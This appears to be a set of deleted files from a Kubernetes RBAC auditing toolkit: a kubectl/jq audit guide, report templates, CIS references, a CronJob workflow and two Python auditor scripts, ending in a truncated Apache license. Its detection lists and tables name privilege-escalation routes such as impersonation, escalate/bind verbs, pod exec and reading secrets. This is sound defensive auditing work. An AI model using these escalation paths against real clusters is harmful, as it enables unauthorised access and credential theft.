| ClusterRoleBinding | Cluster | Binds ClusterRole to subjects cluster-wide |
|
||||
|
||||
### Dangerous Permission Combinations
|
||||
|
||||
| Permission | Risk | Impact |
|
||||
|-----------|------|--------|
|
||||
| `*` on `*` resources | Critical | Equivalent to cluster-admin |
|
||||
| create pods | High | Can deploy privileged pods |
|
||||
| create pods/exec | High | Can exec into any pod |
|
||||
| get secrets | High | Can read all secrets |
|
||||
| create clusterrolebindings | Critical | Can escalate to cluster-admin |
|
||||
| impersonate users | Critical | Can act as any user |
|
||||
| escalate on roles | Critical | Can grant permissions beyond own |
|
||||
| bind on roles | High | Can create new role bindings |
|
||||
|
||||
## Implementation Steps
|
||||
|
||||
### Step 1: Enumerate All RBAC Resources
|
||||
|
||||
```bash
|
||||
# List all ClusterRoles
|
||||
kubectl get clusterroles -o name | wc -l
|
||||
kubectl get clusterroles --no-headers | grep -v "system:"
|
||||
|
||||
# List all ClusterRoleBindings
|
||||
kubectl get clusterrolebindings -o wide
|
||||
|
||||
# List all Roles per namespace
|
||||
kubectl get roles -A
|
||||
|
||||
# List all RoleBindings per namespace
|
||||
kubectl get rolebindings -A -o wide
|
||||
|
||||
# Export all RBAC for offline analysis
|
||||
kubectl get clusterroles,clusterrolebindings,roles,rolebindings -A -o yaml > rbac-export.yaml
|
||||
```
|
||||
|
||||
### Step 2: Identify Wildcard Permissions
|
||||
|
||||
```bash
|
||||
# Find ClusterRoles with wildcard verbs on all resources
|
||||
kubectl get clusterroles -o json | jq -r '
|
||||
.items[] |
|
||||
select(.rules[]? |
|
||||
(.verbs | index("*")) and
|
||||
(.resources | index("*"))
|
||||
) |
|
||||
.metadata.name'
|
||||
|
||||
# Find roles that can create pods
|
||||
kubectl get clusterroles -o json | jq -r '
|
||||
.items[] |
|
||||
select(.rules[]? |
|
||||
(.verbs | index("create") or index("*")) and
|
||||
(.resources | index("pods") or index("*"))
|
||||
) |
|
||||
.metadata.name'
|
||||
|
||||
# Find roles that can read secrets
|
||||
kubectl get clusterroles -o json | jq -r '
|
||||
.items[] |
|
||||
select(.rules[]? |
|
||||
(.verbs | index("get") or index("list") or index("*")) and
|
||||
(.resources | index("secrets") or index("*"))
|
||||
) |
|
||||
.metadata.name'
|
||||
```
|
||||
|
||||
### Step 3: Check Service Account Permissions
|
||||
|
||||
```bash
|
||||
# List all service accounts
|
||||
kubectl get serviceaccounts -A
|
||||
|
||||
# Check permissions for default service accounts
|
||||
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
|
||||
echo "=== $ns/default ==="
|
||||
kubectl auth can-i --list --as=system:serviceaccount:$ns:default 2>/dev/null | grep -v "no"
|
||||
done
|
||||
|
||||
# Check for service accounts with cluster-admin
|
||||
kubectl get clusterrolebindings -o json | jq -r '
|
||||
.items[] |
|
||||
select(.roleRef.name == "cluster-admin") |
|
||||
{binding: .metadata.name, subjects: [.subjects[]? | {kind, name, namespace}]}'
|
||||
```
|
||||
|
||||
### Step 4: Use rbac-tool for Automated Analysis
|
||||
|
||||
```bash
|
||||
# Install rbac-tool
|
||||
kubectl krew install rbac-tool
|
||||
|
||||
# Visualize RBAC
|
||||
kubectl rbac-tool viz --outformat dot | dot -Tpng > rbac-graph.png
|
||||
|
||||
# Find who can perform specific actions
|
||||
kubectl rbac-tool who-can get secrets -A
|
||||
kubectl rbac-tool who-can create pods -A
|
||||
kubectl rbac-tool who-can '*' '*'
|
||||
|
||||
# Analyze all permissions
|
||||
kubectl rbac-tool analysis
|
||||
|
||||
# Generate RBAC policy report
|
||||
kubectl rbac-tool auditgen > rbac-audit.yaml
|
||||
```
|
||||
|
||||
### Step 5: Check for Privilege Escalation Paths
|
||||
|
||||
```bash
|
||||
# Check if any role can escalate privileges
|
||||
kubectl get clusterroles -o json | jq -r '
|
||||
.items[] |
|
||||
select(.rules[]? |
|
||||
(.verbs | index("escalate") or index("bind") or index("impersonate")) and
|
||||
(.resources | index("clusterroles") or index("roles") or index("clusterrolebindings") or index("rolebindings") or index("users") or index("groups") or index("serviceaccounts"))
|
||||
) |
|
||||
.metadata.name'
|
||||
|
||||
# Check for impersonation permissions
|
||||
kubectl get clusterroles -o json | jq -r '
|
||||
.items[] |
|
||||
select(.rules[]? |
|
||||
(.verbs | index("impersonate"))
|
||||
) |
|
||||
{name: .metadata.name, rules: .rules}'
|
||||
```
|
||||
|
||||
### Step 6: Audit with KubiScan
|
||||
|
||||
```bash
|
||||
# Install KubiScan
|
||||
pip install kubiscan
|
||||
|
||||
# Find risky roles
|
||||
kubiscan --risky-roles
|
||||
|
||||
# Find risky ClusterRoles
|
||||
kubiscan --risky-clusterroles
|
||||
|
||||
# Find risky subjects
|
||||
kubiscan --risky-subjects
|
||||
|
||||
# Find pods with risky service accounts
|
||||
kubiscan --risky-pods
|
||||
|
||||
# Full report
|
||||
kubiscan --all
|
||||
```
|
||||
|
||||
## Validation Commands
|
||||
|
||||
```bash
|
||||
# Verify specific permission
|
||||
kubectl auth can-i create pods --as=system:serviceaccount:default:myapp
|
||||
|
||||
# Check all permissions for a user
|
||||
kubectl auth can-i --list --as=developer@example.com
|
||||
|
||||
# Validate RBAC with kubescape
|
||||
kubescape scan framework nsa --controls-config rbac-controls.json
|
||||
|
||||
# Test least privilege
|
||||
kubectl auth can-i delete nodes --as=system:serviceaccount:app:web-server
|
||||
# Expected: no
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [Kubernetes RBAC Documentation](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)
|
||||
- [rbac-tool GitHub](https://github.com/alcideio/rbac-tool)
|
||||
- [KubiScan - Risky Permissions Scanner](https://github.com/cyberark/KubiScan)
|
||||
- [CIS Kubernetes Benchmark - Section 5.1](https://www.cisecurity.org/benchmark/kubernetes)
|
||||
@@ -1,25 +0,0 @@
|
||||
# RBAC Audit Report Template
|
||||
|
||||
## Cluster Information
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Cluster Name | |
|
||||
| Audit Date | |
|
||||
| Total ClusterRoles | |
|
||||
| Total Roles | |
|
||||
| Total Bindings | |
|
||||
|
||||
## High-Risk Bindings
|
||||
| Binding | Role | Subject | Severity | Action |
|
||||
|---------|------|---------|----------|--------|
|
||||
| | | | | |
|
||||
|
||||
## Service Account Review
|
||||
| Namespace | SA Name | Bound Roles | Risk | Recommendation |
|
||||
|-----------|---------|-------------|------|---------------|
|
||||
| | | | | |
|
||||
|
||||
## Remediation Plan
|
||||
| Priority | Finding | Action | Owner | Status |
|
||||
|----------|---------|--------|-------|--------|
|
||||
| | | | | |
|
||||
@@ -1,55 +0,0 @@
|
||||
# API Reference: Kubernetes RBAC Audit
|
||||
|
||||
## Python Kubernetes Client
|
||||
```python
|
||||
from kubernetes import client, config
|
||||
config.load_kube_config()
|
||||
rbac = client.RbacAuthorizationV1Api()
|
||||
core = client.CoreV1Api()
|
||||
```
|
||||
|
||||
## RBAC API Calls
|
||||
| Method | Description |
|
||||
|--------|-------------|
|
||||
| `rbac.list_cluster_role()` | List all ClusterRoles |
|
||||
| `rbac.list_cluster_role_binding()` | List all ClusterRoleBindings |
|
||||
| `rbac.list_namespaced_role(ns)` | List Roles in namespace |
|
||||
| `rbac.list_namespaced_role_binding(ns)` | List RoleBindings in namespace |
|
||||
|
||||
## ClusterRole Rule Structure
|
||||
```python
|
||||
role.rules[0].verbs # ["get", "list", "watch"]
|
||||
role.rules[0].resources # ["pods", "secrets"]
|
||||
role.rules[0].api_groups # ["", "apps"]
|
||||
```
|
||||
|
||||
## Dangerous RBAC Permissions
|
||||
| Permission | Risk |
|
||||
|------------|------|
|
||||
| `* / *` (all verbs, resources) | Full cluster admin |
|
||||
| `create` on `pods/exec` | Remote code execution |
|
||||
| `get` on `secrets` | Credential theft |
|
||||
| `bind` on `clusterroles` | Privilege escalation |
|
||||
| `impersonate` on users | Identity spoofing |
|
||||
| `escalate` on roles | Self-privilege escalation |
|
||||
|
||||
## Subject Types
|
||||
| Kind | Description |
|
||||
|------|-------------|
|
||||
| User | Human user identity |
|
||||
| Group | User group (e.g., system:authenticated) |
|
||||
| ServiceAccount | Pod identity |
|
||||
|
||||
## Risky Groups
|
||||
| Group | Risk |
|
||||
|-------|------|
|
||||
| `system:unauthenticated` | Anonymous access |
|
||||
| `system:authenticated` | Any authenticated user |
|
||||
| `system:masters` | Full cluster admin |
|
||||
|
||||
## kubectl RBAC Commands
|
||||
```bash
|
||||
kubectl auth can-i --list
|
||||
kubectl get clusterrolebindings -o json
|
||||
kubectl auth can-i create pods --as=system:serviceaccount:default:default
|
||||
```
|
||||
@@ -1,34 +0,0 @@
|
||||
# Standards Reference - RBAC Auditing
|
||||
|
||||
## CIS Kubernetes Benchmark v1.8 - Section 5.1
|
||||
|
||||
- 5.1.1: Ensure cluster-admin role is only used where required
|
||||
- 5.1.2: Minimize access to secrets
|
||||
- 5.1.3: Minimize wildcard use in Roles and ClusterRoles
|
||||
- 5.1.4: Minimize access to create pods
|
||||
- 5.1.5: Ensure default service accounts are not actively used
|
||||
- 5.1.6: Ensure Service Account Tokens are not mounted when not needed
|
||||
- 5.1.7: Avoid use of system:masters group
|
||||
- 5.1.8: Limit use of the Bind, Impersonate and Escalate permissions
|
||||
|
||||
## NIST SP 800-53 AC Controls
|
||||
- AC-2: Account Management
|
||||
- AC-3: Access Enforcement
|
||||
- AC-6: Least Privilege
|
||||
- AC-6(1): Authorize Access to Security Functions
|
||||
- AC-6(5): Privileged Accounts
|
||||
|
||||
## Dangerous RBAC Combinations
|
||||
|
||||
| Verbs | Resources | Risk Level |
|
||||
|-------|-----------|-----------|
|
||||
| * | * | CRITICAL - cluster-admin equivalent |
|
||||
| create | pods | HIGH - can deploy privileged pods |
|
||||
| create | pods/exec | HIGH - can exec into any pod |
|
||||
| get, list | secrets | HIGH - can read all secrets |
|
||||
| create | clusterrolebindings | CRITICAL - privilege escalation |
|
||||
| impersonate | users, groups, serviceaccounts | CRITICAL - identity theft |
|
||||
| escalate | roles, clusterroles | CRITICAL - RBAC escalation |
|
||||
| bind | roles, clusterroles | HIGH - can create bindings |
|
||||
| create | deployments | MEDIUM - can deploy workloads |
|
||||
| delete | pods, nodes | HIGH - denial of service |
|
||||
@@ -1,60 +0,0 @@
|
||||
# Workflows - RBAC Auditing
|
||||
|
||||
## Workflow 1: Comprehensive RBAC Audit
|
||||
|
||||
```
|
||||
[Export all RBAC] --> [Identify cluster-admin bindings] --> [Check wildcard permissions]
|
||||
| | |
|
||||
v v v
|
||||
kubectl get all Flag non-system Flag * verbs, * resources
|
||||
RBAC resources cluster-admin users Find excessive permissions
|
||||
| | |
|
||||
+----------+------------+------------------------------------+
|
||||
|
|
||||
v
|
||||
[Check service account permissions]
|
||||
|
|
||||
v
|
||||
[Identify privilege escalation paths]
|
||||
|
|
||||
v
|
||||
[Generate remediation report]
|
||||
```
|
||||
|
||||
## Workflow 2: Least Privilege Implementation
|
||||
|
||||
```
|
||||
Step 1: Inventory current permissions per team/service
|
||||
Step 2: Document actual required operations
|
||||
Step 3: Create minimal Role/ClusterRole
|
||||
Step 4: Test with auth can-i dry-run
|
||||
Step 5: Apply new bindings
|
||||
Step 6: Remove overly permissive bindings
|
||||
Step 7: Validate with automated audit
|
||||
```
|
||||
|
||||
## Workflow 3: Continuous RBAC Monitoring
|
||||
|
||||
```yaml
|
||||
# CronJob for weekly RBAC audit
|
||||
apiVersion: batch/v1
|
||||
kind: CronJob
|
||||
metadata:
|
||||
name: rbac-audit
|
||||
spec:
|
||||
schedule: "0 2 * * 1" # Weekly Monday 2am
|
||||
jobTemplate:
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
containers:
|
||||
- name: audit
|
||||
image: bitnami/kubectl:latest
|
||||
command:
|
||||
- /bin/sh
|
||||
- -c
|
||||
- |
|
||||
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .metadata.name' > /audit/cluster-admin-bindings.txt
|
||||
kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.verbs | index("*")) and (.resources | index("*"))) | .metadata.name' > /audit/wildcard-roles.txt
|
||||
restartPolicy: Never
|
||||
```
|
||||
@@ -1,110 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Kubernetes RBAC Audit Agent - Audits cluster RBAC permissions for security misconfigurations."""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
|
||||
from kubernetes import client, config
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
DANGEROUS_VERBS = {"*", "create", "delete", "patch", "update", "escalate", "bind", "impersonate"}
|
||||
DANGEROUS_RESOURCES = {"secrets", "pods/exec", "pods/attach", "serviceaccounts", "clusterroles", "clusterrolebindings", "roles", "rolebindings", "*"}
|
||||
|
||||
|
||||
def load_kube_config(kubeconfig=None):
|
||||
"""Load Kubernetes configuration."""
|
||||
if kubeconfig:
|
||||
config.load_kube_config(config_file=kubeconfig)
|
||||
else:
|
||||
try:
|
||||
config.load_incluster_config()
|
||||
except config.ConfigException:
|
||||
config.load_kube_config()
|
||||
return client.RbacAuthorizationV1Api(), client.CoreV1Api()
|
||||
|
||||
|
||||
def audit_cluster_roles(rbac_api):
|
||||
"""Audit ClusterRoles for overly permissive rules."""
|
||||
findings = []
|
||||
roles = rbac_api.list_cluster_role()
|
||||
for role in roles.items:
|
||||
if role.metadata.name.startswith("system:"):
|
||||
continue
|
||||
for rule in (role.rules or []):
|
||||
verbs = set(rule.verbs or [])
|
||||
resources = set(rule.resources or [])
|
||||
api_groups = rule.api_groups or [""]
|
||||
if "*" in verbs and "*" in resources:
|
||||
findings.append({"role": role.metadata.name, "type": "ClusterRole", "issue": "Full wildcard access (*/*)", "severity": "critical", "rule": {"verbs": list(verbs), "resources": list(resources)}})
|
||||
elif verbs & DANGEROUS_VERBS and resources & DANGEROUS_RESOURCES:
|
||||
findings.append({"role": role.metadata.name, "type": "ClusterRole", "issue": f"Dangerous permission: {verbs & DANGEROUS_VERBS} on {resources & DANGEROUS_RESOURCES}", "severity": "high", "rule": {"verbs": list(verbs), "resources": list(resources)}})
|
||||
logger.info("Audited %d ClusterRoles, %d findings", len(roles.items), len(findings))
|
||||
return findings
|
||||
|
||||
|
||||
def audit_role_bindings(rbac_api):
|
||||
"""Audit ClusterRoleBindings for excessive privilege grants."""
|
||||
findings = []
|
||||
bindings = rbac_api.list_cluster_role_binding()
|
||||
for binding in bindings.items:
|
||||
if binding.metadata.name.startswith("system:"):
|
||||
continue
|
||||
role_ref = binding.role_ref
|
||||
subjects = binding.subjects or []
|
||||
for subject in subjects:
|
||||
if role_ref.name in ("cluster-admin", "admin") and subject.kind != "ServiceAccount":
|
||||
findings.append({"binding": binding.metadata.name, "role": role_ref.name, "subject": f"{subject.kind}/{subject.name}", "severity": "critical" if role_ref.name == "cluster-admin" else "high", "issue": f"{subject.kind} bound to {role_ref.name}"})
|
||||
if subject.kind == "Group" and subject.name in ("system:unauthenticated", "system:authenticated"):
|
||||
findings.append({"binding": binding.metadata.name, "role": role_ref.name, "subject": subject.name, "severity": "critical", "issue": f"Broad group {subject.name} bound to {role_ref.name}"})
|
||||
return findings
|
||||
|
||||
|
||||
def audit_service_accounts(core_api, rbac_api):
|
||||
"""Audit service accounts for default token mounting and elevated permissions."""
|
||||
findings = []
|
||||
sas = core_api.list_service_account_for_all_namespaces()
|
||||
for sa in sas.items:
|
||||
if sa.metadata.name == "default":
|
||||
if sa.automount_service_account_token is not False:
|
||||
findings.append({"namespace": sa.metadata.namespace, "service_account": "default", "issue": "Default SA auto-mounts token", "severity": "medium"})
|
||||
return findings
|
||||
|
||||
|
||||
def generate_report(role_findings, binding_findings, sa_findings):
|
||||
"""Generate RBAC audit report."""
|
||||
all_findings = role_findings + binding_findings + sa_findings
|
||||
critical = [f for f in all_findings if f.get("severity") == "critical"]
|
||||
report = {
|
||||
"timestamp": datetime.utcnow().isoformat(),
|
||||
"total_findings": len(all_findings),
|
||||
"critical": len(critical),
|
||||
"role_findings": role_findings,
|
||||
"binding_findings": binding_findings,
|
||||
"service_account_findings": sa_findings,
|
||||
}
|
||||
print(f"RBAC REPORT: {len(all_findings)} findings ({len(critical)} critical)")
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Kubernetes RBAC Audit Agent")
|
||||
parser.add_argument("--kubeconfig", help="Path to kubeconfig file")
|
||||
parser.add_argument("--output", default="rbac_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
rbac_api, core_api = load_kube_config(args.kubeconfig)
|
||||
role_findings = audit_cluster_roles(rbac_api)
|
||||
binding_findings = audit_role_bindings(rbac_api)
|
||||
sa_findings = audit_service_accounts(core_api, rbac_api)
|
||||
report = generate_report(role_findings, binding_findings, sa_findings)
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
logger.info("Report saved to %s", args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,257 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Kubernetes RBAC Permissions Auditor
|
||||
|
||||
Audits RBAC configurations for overly permissive roles,
|
||||
dangerous permission combinations, and privilege escalation paths.
|
||||
"""
|
||||
|
||||
import subprocess
|
||||
import json
|
||||
import sys
|
||||
from dataclasses import dataclass, field
|
||||
|
||||
DANGEROUS_VERBS = {"*", "escalate", "bind", "impersonate"}
|
||||
DANGEROUS_RESOURCES = {"*", "secrets", "pods", "clusterroles", "clusterrolebindings", "roles", "rolebindings"}
|
||||
HIGH_RISK_COMBINATIONS = [
|
||||
({"*"}, {"*"}, "CRITICAL", "Wildcard access on all resources (cluster-admin equivalent)"),
|
||||
({"create", "update", "patch"}, {"clusterrolebindings", "rolebindings"}, "CRITICAL", "Can create role bindings for privilege escalation"),
|
||||
({"escalate"}, {"clusterroles", "roles"}, "CRITICAL", "Can escalate role permissions beyond own level"),
|
||||
({"impersonate"}, {"users", "groups", "serviceaccounts"}, "CRITICAL", "Can impersonate any identity"),
|
||||
({"get", "list", "watch"}, {"secrets"}, "HIGH", "Can read all secrets in scope"),
|
||||
({"create"}, {"pods"}, "HIGH", "Can create pods (deploy workloads)"),
|
||||
({"create"}, {"pods/exec"}, "HIGH", "Can exec into pods (command execution)"),
|
||||
({"delete"}, {"pods", "nodes", "namespaces"}, "HIGH", "Can delete critical resources"),
|
||||
]
|
||||
|
||||
|
||||
@dataclass
|
||||
class RBACFinding:
|
||||
resource_type: str
|
||||
resource_name: str
|
||||
namespace: str
|
||||
severity: str
|
||||
issue: str
|
||||
details: str
|
||||
remediation: str
|
||||
|
||||
|
||||
@dataclass
|
||||
class RBACAuditReport:
|
||||
findings: list = field(default_factory=list)
|
||||
cluster_roles: int = 0
|
||||
roles: int = 0
|
||||
cluster_role_bindings: int = 0
|
||||
role_bindings: int = 0
|
||||
service_accounts: int = 0
|
||||
|
||||
|
||||
def run_kubectl_json(args: list):
|
||||
cmd = ["kubectl"] + args + ["-o", "json"]
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
|
||||
if result.returncode != 0:
|
||||
return None
|
||||
return json.loads(result.stdout)
|
||||
except (subprocess.TimeoutExpired, json.JSONDecodeError, FileNotFoundError):
|
||||
return None
|
||||
|
||||
|
||||
def check_role_rules(rules: list, role_name: str, role_type: str, namespace: str, report: RBACAuditReport):
|
||||
"""Analyze role rules for dangerous permissions."""
|
||||
for rule in rules:
|
||||
verbs = set(rule.get("verbs", []))
|
||||
resources = set(rule.get("resources", []))
|
||||
api_groups = rule.get("apiGroups", [])
|
||||
|
||||
for req_verbs, req_resources, severity, description in HIGH_RISK_COMBINATIONS:
|
||||
verb_match = "*" in verbs or bool(verbs & req_verbs)
|
||||
resource_match = "*" in resources or bool(resources & req_resources)
|
||||
|
||||
if verb_match and resource_match:
|
||||
report.findings.append(RBACFinding(
|
||||
resource_type=role_type,
|
||||
resource_name=role_name,
|
||||
namespace=namespace,
|
||||
severity=severity,
|
||||
issue=description,
|
||||
details=f"verbs={list(verbs)}, resources={list(resources)}, apiGroups={api_groups}",
|
||||
remediation=f"Restrict {role_type} '{role_name}' to minimum required permissions"
|
||||
))
|
||||
break
|
||||
|
||||
|
||||
def audit_cluster_roles(report: RBACAuditReport):
|
||||
"""Audit all ClusterRoles."""
|
||||
print("[*] Auditing ClusterRoles...")
|
||||
data = run_kubectl_json(["get", "clusterroles"])
|
||||
if not data:
|
||||
return
|
||||
|
||||
items = data.get("items", [])
|
||||
report.cluster_roles = len(items)
|
||||
|
||||
for cr in items:
|
||||
name = cr["metadata"]["name"]
|
||||
# Skip well-known system roles
|
||||
if name.startswith("system:") and name not in ("system:aggregate-to-admin", "system:aggregate-to-edit"):
|
||||
continue
|
||||
|
||||
rules = cr.get("rules", [])
|
||||
check_role_rules(rules, name, "ClusterRole", "cluster-wide", report)
|
||||
|
||||
|
||||
def audit_roles(report: RBACAuditReport):
|
||||
"""Audit all namespace Roles."""
|
||||
print("[*] Auditing Roles...")
|
||||
data = run_kubectl_json(["get", "roles", "-A"])
|
||||
if not data:
|
||||
return
|
||||
|
||||
items = data.get("items", [])
|
||||
report.roles = len(items)
|
||||
|
||||
for role in items:
|
||||
name = role["metadata"]["name"]
|
||||
namespace = role["metadata"]["namespace"]
|
||||
rules = role.get("rules", [])
|
||||
check_role_rules(rules, name, "Role", namespace, report)
|
||||
|
||||
|
||||
def audit_bindings(report: RBACAuditReport):
|
||||
"""Audit ClusterRoleBindings for dangerous subject assignments."""
|
||||
print("[*] Auditing ClusterRoleBindings...")
|
||||
|
||||
data = run_kubectl_json(["get", "clusterrolebindings"])
|
||||
if not data:
|
||||
return
|
||||
|
||||
items = data.get("items", [])
|
||||
report.cluster_role_bindings = len(items)
|
||||
|
||||
dangerous_subjects = {"system:anonymous", "system:unauthenticated"}
|
||||
admin_roles = {"cluster-admin", "admin", "edit"}
|
||||
|
||||
for crb in items:
|
||||
name = crb["metadata"]["name"]
|
||||
role_ref = crb.get("roleRef", {}).get("name", "")
|
||||
subjects = crb.get("subjects", []) or []
|
||||
|
||||
for subject in subjects:
|
||||
s_name = subject.get("name", "")
|
||||
s_kind = subject.get("kind", "")
|
||||
|
||||
if s_name in dangerous_subjects and role_ref in admin_roles:
|
||||
report.findings.append(RBACFinding(
|
||||
resource_type="ClusterRoleBinding",
|
||||
resource_name=name,
|
||||
namespace="cluster-wide",
|
||||
severity="CRITICAL",
|
||||
issue=f"Dangerous subject '{s_name}' bound to '{role_ref}'",
|
||||
details=f"Subject {s_kind}/{s_name} has {role_ref} access",
|
||||
remediation=f"Remove or restrict ClusterRoleBinding '{name}'"
|
||||
))
|
||||
|
||||
# Check for system:authenticated bound to admin roles
|
||||
if s_name == "system:authenticated" and role_ref in admin_roles:
|
||||
report.findings.append(RBACFinding(
|
||||
resource_type="ClusterRoleBinding",
|
||||
resource_name=name,
|
||||
namespace="cluster-wide",
|
||||
severity="CRITICAL",
|
||||
issue=f"All authenticated users have '{role_ref}' access",
|
||||
details=f"Group system:authenticated bound to {role_ref}",
|
||||
remediation=f"Remove binding, use specific user/group bindings"
|
||||
))
|
||||
|
||||
|
||||
def audit_service_accounts(report: RBACAuditReport):
|
||||
"""Audit service accounts for over-permissioning."""
|
||||
print("[*] Auditing Service Accounts...")
|
||||
|
||||
data = run_kubectl_json(["get", "serviceaccounts", "-A"])
|
||||
if not data:
|
||||
return
|
||||
|
||||
items = data.get("items", [])
|
||||
report.service_accounts = len(items)
|
||||
|
||||
# Check default SAs that have non-default bindings
|
||||
crbs = run_kubectl_json(["get", "clusterrolebindings"])
|
||||
rbs = run_kubectl_json(["get", "rolebindings", "-A"])
|
||||
|
||||
if crbs:
|
||||
for crb in crbs.get("items", []):
|
||||
for subject in crb.get("subjects", []) or []:
|
||||
if subject.get("kind") == "ServiceAccount" and subject.get("name") == "default":
|
||||
report.findings.append(RBACFinding(
|
||||
resource_type="ServiceAccount",
|
||||
resource_name=f"default ({subject.get('namespace', 'unknown')})",
|
||||
namespace=subject.get("namespace", "unknown"),
|
||||
severity="HIGH",
|
||||
issue=f"Default SA bound to ClusterRole '{crb['roleRef']['name']}'",
|
||||
details="Default service account should not have additional permissions",
|
||||
remediation="Create dedicated service account, remove default SA binding"
|
||||
))
|
||||
|
||||
|
||||
def print_report(report: RBACAuditReport):
|
||||
print("\n" + "=" * 70)
|
||||
print("KUBERNETES RBAC AUDIT REPORT")
|
||||
print("=" * 70)
|
||||
print(f"ClusterRoles: {report.cluster_roles}")
|
||||
print(f"Roles: {report.roles}")
|
||||
print(f"ClusterRoleBindings: {report.cluster_role_bindings}")
|
||||
print(f"RoleBindings: {report.role_bindings}")
|
||||
print(f"ServiceAccounts: {report.service_accounts}")
|
||||
print(f"Total Findings: {len(report.findings)}")
|
||||
print("=" * 70)
|
||||
|
||||
for severity in ["CRITICAL", "HIGH", "MEDIUM", "LOW"]:
|
||||
findings = [f for f in report.findings if f.severity == severity]
|
||||
if findings:
|
||||
print(f"\n{severity} ({len(findings)}):")
|
||||
print("-" * 70)
|
||||
for f in findings:
|
||||
print(f" [{f.resource_type}] {f.resource_name}")
|
||||
print(f" Issue: {f.issue}")
|
||||
print(f" Details: {f.details}")
|
||||
print(f" Fix: {f.remediation}")
|
||||
print()
|
||||
|
||||
|
||||
def main():
|
||||
print("[*] Kubernetes RBAC Permissions Auditor\n")
|
||||
|
||||
report = RBACAuditReport()
|
||||
audit_cluster_roles(report)
|
||||
audit_roles(report)
|
||||
audit_bindings(report)
|
||||
audit_service_accounts(report)
|
||||
print_report(report)
|
||||
|
||||
output = {
|
||||
"summary": {
|
||||
"cluster_roles": report.cluster_roles,
|
||||
"roles": report.roles,
|
||||
"findings": len(report.findings),
|
||||
},
|
||||
"findings": [
|
||||
{"type": f.resource_type, "name": f.resource_name, "namespace": f.namespace,
|
||||
"severity": f.severity, "issue": f.issue, "remediation": f.remediation}
|
||||
for f in report.findings
|
||||
],
|
||||
}
|
||||
|
||||
with open("rbac_audit_report.json", "w") as f:
|
||||
json.dump(output, f, indent=2)
|
||||
print("[*] Report saved to rbac_audit_report.json")
|
||||
|
||||
critical = sum(1 for f in report.findings if f.severity == "CRITICAL")
|
||||
if critical > 0:
|
||||
print(f"\n[!] {critical} CRITICAL findings found")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,201 +0,0 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
